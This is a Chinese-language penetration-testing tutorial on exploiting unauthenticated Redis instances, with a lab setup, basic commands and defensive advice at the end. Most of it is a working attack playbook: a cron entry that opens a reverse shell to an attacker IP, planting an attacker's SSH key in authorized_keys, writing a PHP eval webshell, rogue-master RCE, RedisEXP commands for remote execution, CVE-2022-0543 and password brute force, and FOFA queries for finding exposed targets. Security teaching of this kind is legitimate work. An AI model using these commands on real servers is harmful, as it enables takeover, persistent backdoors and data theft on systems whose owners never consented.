Redis未授权漏洞复现汇总
字数 1199 2025-08-29 22:41:32
Redis未授权漏洞复现与利用全面指南
1. Redis简介与基本概念
Redis是一个开源的、基于内存的键值对存储数据库,具有以下特性:
- 使用ANSI C编写,支持多种数据结构
- 支持网络访问,可基于内存也可持久化
- 高性能,支持分布式扩展
- 被GitHub、Twitter、微博、阿里、美团、百度等大厂广泛使用
Redis常见应用场景
- 缓存系统(高频读、低频写的"热点"数据)
- 计数器
- 消息队列系统
- 排行榜
- 社交网络
- 实时系统
2. Redis基本命令与配置
常用Redis命令
redis-cli -h ip -p 6379 -a passwd # 外部连接Redis
info # 查看Redis信息
set xz "Hacker" # 设置键值
get xz # 获取键值
INCR score # 值增加1
keys * # 列出所有键
config set protected-mode no # 关闭安全模式
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 备份操作
flushall # 删除所有数据
del key # 删除指定键
slaveof ip port # 设置主从关系
mset k1 v1 k2 v2 k3 v3 # 批量设置键值对
mget k1 k2 k3 # 批量获取键值对
Redis配置文件关键参数
port 6379:监听端口bind 192.168.47.173:绑定IP(白名单)save <秒数> <变化数>:自动备份条件requirepass:连接密码dir ./:工作目录dbfilename dump.rdb:备份文件名protected-mode:安全模式(3.2+版本新增)
3. Redis未授权访问漏洞概述
漏洞原理
Redis默认绑定在0.0.0.0:6379,如果没有设置密码认证且未配置防火墙规则,会导致任意用户可未授权访问Redis并读取数据。
漏洞危害
攻击者可利用Redis的config命令进行写文件操作,包括:
- 写入SSH公钥实现SSH登录
- 写入计划任务实现反弹shell
- 写入Webshell获取Web控制权
- 利用主从复制机制执行任意命令
4. 漏洞复现环境搭建
靶机环境(CentOS 7)
wget https://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10/src
make && make install
# 解决编译错误
yum install gcc-c++
make distclean
make && make install
# 修改配置文件
vim ../redis.conf
# 修改以下参数:
# daemonize yes
# #bind 127.0.0.1
# protected-mode no
# 启动Redis
../redis-server ../redis.conf
# 关闭防火墙
iptables -F
setenforce 0
systemctl stop firewalld.service
攻击机环境(Kali Linux)
wget https://download.redis.io/releases/redis-7.0.0.tar.gz
tar -zxf redis-7.0.0.tar.gz
cd redis-7.0.0
make
cp src/redis-cli /usr/bin
# 测试连接
redis-cli -h 靶机IP -p 6379 --raw
5. Redis未授权漏洞利用方法
5.1 利用计划任务反弹shell
# 攻击机监听
nc -lvvp 2333
# Redis操作
set xxx "\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
5.2 写入SSH公钥实现SSH登录
# 攻击机生成SSH密钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥写入Redis
cat key.txt | redis-cli -h 靶机IP -x set crack
# Redis操作
config set dir /root/.ssh
config set dbfilename authorized_keys
save
# 如果靶机没有.ssh目录,先创建
mkdir /root/.ssh
# SSH连接
ssh -i /root/.ssh/id_rsa root@靶机IP
5.3 写入Webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell "\n\n<?php @eval(\$_POST['cmd'])?>\n\n"
save
5.4 主从复制GetShell(Redis 4.x/5.x <=5.0.5)
使用工具:Awsome-Redis-Rogue-Server
python3 redis-rogue-server.py --rhost 靶机IP --lhost 攻击机IP
6. 自动化测试工具推荐
RedisEXP工具使用
# 基本连接
RedisExp.exe -r 目标IP -p 6379 -w 密码
# 执行Redis命令
RedisExp.exe -m cli -r 目标IP -p 6379 -w 密码 -c info
# 加载dll/so执行命令
RedisExp.exe -m load -r 目标IP -p 6379 -rf exp.dll -n system -t system.exec
# 主从复制命令执行
RedisExp.exe -m rce -r 目标IP -p 6379 -L 本地IP -P 本地Port -c whoami
# 主从复制上传文件
RedisExp.exe -m upload -r 目标IP -p 6379 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件
# 写计划任务
RedisExp.exe -m cron -r 目标IP -p 6379 -L VpsIP -P VpsPort
# 写SSH公钥
RedisExp.exe -m ssh -r 目标IP -p 6379 -u root -s 公钥内容
# 写Webshell
RedisExp.exe -m shell -r 目标IP -p 6379 -rp 目标路径 -rf 目标文件名 -s Webshell内容
# CVE-2022-0543利用
RedisExp.exe -m cve -r 目标IP -p 6379 -w 密码 -c 执行命令
# 爆破Redis密码
RedisExp.exe -m brute -r 目标IP -p 6378 -f pass.txt
7. 漏洞防护建议
- 升级Redis版本:升级到4.x/5.0.5或更高版本
- 修改默认端口:将6379改为其他端口
- 设置强密码认证:配置requirepass参数
- 网络隔离:
- 绑定内网IP(bind参数)
- 配置防火墙规则限制访问
- 最小权限原则:
- 以非root用户运行Redis
- 限制Redis配置目录的写入权限
- 启用保护模式:protected-mode yes(3.2+版本)
- 重命名危险命令:如rename-command CONFIG HTCMD
8. 资产发现与漏洞验证
使用FOFA搜索Redis资产
protocol="redis" && port="6379" && app="redis"
使用afrog进行漏洞验证
afrog -s redis -T redis.txt -S high -o redis.html
9. 总结
Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。防护措施应从网络隔离、访问控制、权限管理和版本更新等多方面入手。安全研究人员在测试时应遵守法律法规,仅在授权范围内进行测试。